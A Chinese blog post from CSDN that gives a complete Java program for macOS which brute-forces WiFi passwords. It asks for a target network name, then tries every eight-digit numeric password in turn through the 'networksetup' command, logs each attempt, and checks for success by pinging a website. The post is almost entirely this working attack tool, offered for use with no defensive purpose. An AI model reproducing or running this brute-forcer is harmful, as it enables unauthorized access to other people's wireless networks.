mac 电脑 java wifi密码尝试器

wifi密码尝试器,只可以用于mac电脑


import java.io.*;
import java.text.SimpleDateFormat;
import java.util.ArrayList;
import java.util.Date;
import java.util.List;
import java.util.Scanner;

public class App2 {

    public static File logFile = new File("/Users/fast/Desktop/aa/run.log");
    public static String wifiName = null;
    public static String algorithm = null;

    public static SimpleDateFormat sdf = new SimpleDateFormat("yyyy-MM-dd HH:mm:ss");

    // 最大密码数量
    public static int maxPass = 99999999;

    // 初始密码数量
    public static int startPass = 0;


    public static void main(String[] args) throws IOException, InterruptedException {
        boolean parentEx = logFile.getParentFile().exists();
        if (!parentEx) {
            logFile.getParentFile().mkdirs();
        }

        if (!logFile.exists()) {
            logFile.createNewFile();
        }

        FileWriter fw = new FileWriter(logFile, true);

        Scanner sca = new Scanner(System.in);
        System.out.print("请输入需要破解的wifi名称:");
        wifiName = sca.next();

        System.out.println("请选择破解wifi算法");
        System.out.println("1为0-99999999尝试破解");
        System.out.println("2为10000000-99999999尝试");
        System.out.println("3为自定义开始值");
        System.out.print("请选择:");
        algorithm = sca.next();

        if ("2".equals(algorithm)) {
            startPass = 10000000;
        } else if ("3".equals(algorithm)) {
            System.out.print("请输入初始值:");
            startPass = Integer.parseInt(sca.next());
        }

        if (wifiName == null || wifiName.length() == 0 || algorithm == null || algorithm.length() == 0) {
            System.out.println("参数错误");
            return;
        }


        while (startPass < maxPass) {
            String password = getPass(startPass);
            String cmd = String.format("networksetup -setairportnetwork en0 %s %s", wifiName, password);
            List<String> exec = execute(cmd);

            fw.append(sdf.format(new Date()) + "," + cmd + ",res=" + exec.toString() + System.getProperty("line.separator"));
            fw.flush();

            if(exec.contains(String.format("Could not find network %s.",wifiName))){
                continue;
            }
            if (exec.size() == 0 && ping(cmd)) {
                fw.append(sdf.format(new Date()) + "," + "连接成功 wifi名称:" + wifiName + ",密码:" + password + System.getProperty("line.separator"));
                fw.flush();
                break;
            }

            startPass++;
        }

        fw.close();
    }

    /**
     * ping 校验
     */
    private static boolean ping(String wifiCmd) throws IOException, InterruptedException {
        /**
         * 应连接wifi需要一定的时间所以睡眠3秒
         */
        Thread.sleep(1000 * 3);
        boolean pinged = false;
        String cmd = "ping www.baidu.com";
        Process process = Runtime.getRuntime().exec(cmd);
        BufferedReader bReader = new BufferedReader(new InputStreamReader(process.getInputStream(), "utf-8"));
        String s = bReader.readLine();
        if (s != null && s.length() > 0) {
            pinged = true;
        }
        process.getInputStream().close();
        bReader.close();

        return pinged;
    }


    /**
     * 执行cmd 命令
     *
     * @param cmd
     * @return
     * @throws IOException
     */
    public static List<String> execute(String cmd) throws IOException {
        Process process = null;
        BufferedReader bReader = null;
        List<String> result = new ArrayList<String>();
        try {
            process = Runtime.getRuntime().exec(cmd);
            bReader = new BufferedReader(new InputStreamReader(process.getInputStream(), "utf-8"));
            String line = null;
            while ((line = bReader.readLine()) != null) {
                result.add(line);
            }
        } catch (IOException e) {
            e.printStackTrace();
        } finally {
            process.getInputStream().close();
            bReader.close();

        }
        return result;
    }


    /**
     * 获得密码
     *
     * @param passStr
     * @return
     */
    public static String getPass(Integer passStr) {
        String str = String.format("%08d", passStr);
        return str;
    }


}

版权所有归作者
转载请注明地: https://blog.csdn.net/qq_40158629/article/details/111875358

  • 0
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值